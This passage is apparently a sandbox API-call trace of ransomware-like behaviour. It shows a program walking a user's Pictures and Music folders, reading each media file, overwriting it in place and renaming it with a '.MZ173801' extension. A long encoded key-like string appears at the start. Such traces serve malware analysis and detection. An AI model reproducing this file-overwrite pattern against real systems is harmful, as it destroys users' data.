lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0123.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0123.101] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\SbP7KV5gI4SzAi7Xlom.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\sbp7kv5gi4szai7xlom.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.101] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0123.101] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.101] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x158c9 [0123.101] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0123.101] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x158c9, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x158c9, lpOverlapped=0x0) returned 1 [0123.103] CloseHandle (hObject=0x28c) returned 1 [0123.105] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\SbP7KV5gI4SzAi7Xlom.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\sbp7kv5gi4szai7xlom.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.106] WriteFile (in: hFile=0x28c, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x158c9, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f404*=0x158c9, lpOverlapped=0x0) returned 1 [0123.109] CloseHandle (hObject=0x28c) returned 1 [0123.116] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\SbP7KV5gI4SzAi7Xlom.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\sbp7kv5gi4szai7xlom.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\Jhr4VFCMaTe9\\Mr3PQACS\\SbP7KV5gI4SzAi7Xlom.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\jhr4vfcmate9\\mr3pqacs\\sbp7kv5gi4szai7xlom.bmp.mz173801")) returned 1 [0123.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0123.118] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.118] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.118] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.118] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.118] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.118] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.118] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.118] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.119] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.119] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0123.119] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0123.119] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=13, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 1 [0123.120] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music")) returned 0x11 [0123.120] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=13, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 1 [0123.121] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xda2f3900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda2f3900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430e0820, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0123.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4Kszmd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kszmd.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.124] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.124] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.125] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1059b [0123.125] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.125] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x1059b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x1059b, lpOverlapped=0x0) returned 1 [0123.126] CloseHandle (hObject=0x288) returned 1 [0123.128] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4Kszmd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kszmd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.129] WriteFile (in: hFile=0x288, lpBuffer=0x726540*, nNumberOfBytesToWrite=0x1059b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x726540*, lpNumberOfBytesWritten=0x18f99c*=0x1059b, lpOverlapped=0x0) returned 1 [0123.131] CloseHandle (hObject=0x288) returned 1 [0123.133] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4Kszmd.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kszmd.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4Kszmd.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4kszmd.wav.mz173801")) returned 1 [0123.138] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bbYvMljCI_I2J0FmdW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bbyvmljci_i2j0fmdw.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.138] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.138] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.138] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xded4 [0123.138] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.138] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xded4, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xded4, lpOverlapped=0x0) returned 1 [0123.139] CloseHandle (hObject=0x288) returned 1 [0123.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bbYvMljCI_I2J0FmdW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bbyvmljci_i2j0fmdw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.142] WriteFile (in: hFile=0x288, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xded4, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f99c*=0xded4, lpOverlapped=0x0) returned 1 [0123.144] CloseHandle (hObject=0x288) returned 1 [0123.147] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bbYvMljCI_I2J0FmdW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bbyvmljci_i2j0fmdw.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bbYvMljCI_I2J0FmdW.wav.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bbyvmljci_i2j0fmdw.wav.mz173801")) returned 1 [0123.151] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eoyB4NPNow5t00Rul.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\eoyb4npnow5t00rul.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.151] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.151] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.152] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xff4c [0123.152] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.152] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xff4c, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xff4c, lpOverlapped=0x0) returned 1 [0123.153] CloseHandle (hObject=0x288) returned 1 [0123.154] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eoyB4NPNow5t00Rul.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\eoyb4npnow5t00rul.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.156] WriteFile (in: hFile=0x288, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xff4c, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f99c*=0xff4c, lpOverlapped=0x0) returned 1 [0123.158] CloseHandle (hObject=0x288) returned 1 [0123.161] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eoyB4NPNow5t00Rul.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\eoyb4npnow5t00rul.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eoyB4NPNow5t00Rul.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\eoyb4npnow5t00rul.m4a.mz173801")) returned 1 [0123.165] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fCR1_eAvHgr9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fcr1_eavhgr9.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.165] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.165] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.165] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x181c8 [0123.165] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.165] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x181c8, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x181c8, lpOverlapped=0x0) returned 1 [0123.167] CloseHandle (hObject=0x288) returned 1 [0123.169] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fCR1_eAvHgr9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fcr1_eavhgr9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.171] WriteFile (in: hFile=0x288, lpBuffer=0x72e540*, nNumberOfBytesToWrite=0x181c8, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72e540*, lpNumberOfBytesWritten=0x18f99c*=0x181c8, lpOverlapped=0x0) returned 1 [0123.174] CloseHandle (hObject=0x288) returned 1 [0123.182] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fCR1_eAvHgr9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fcr1_eavhgr9.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fCR1_eAvHgr9.mp3.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fcr1_eavhgr9.mp3.mz173801")) returned 1 [0123.186] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ScrlOad-Yzm24.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\scrload-yzm24.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.186] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 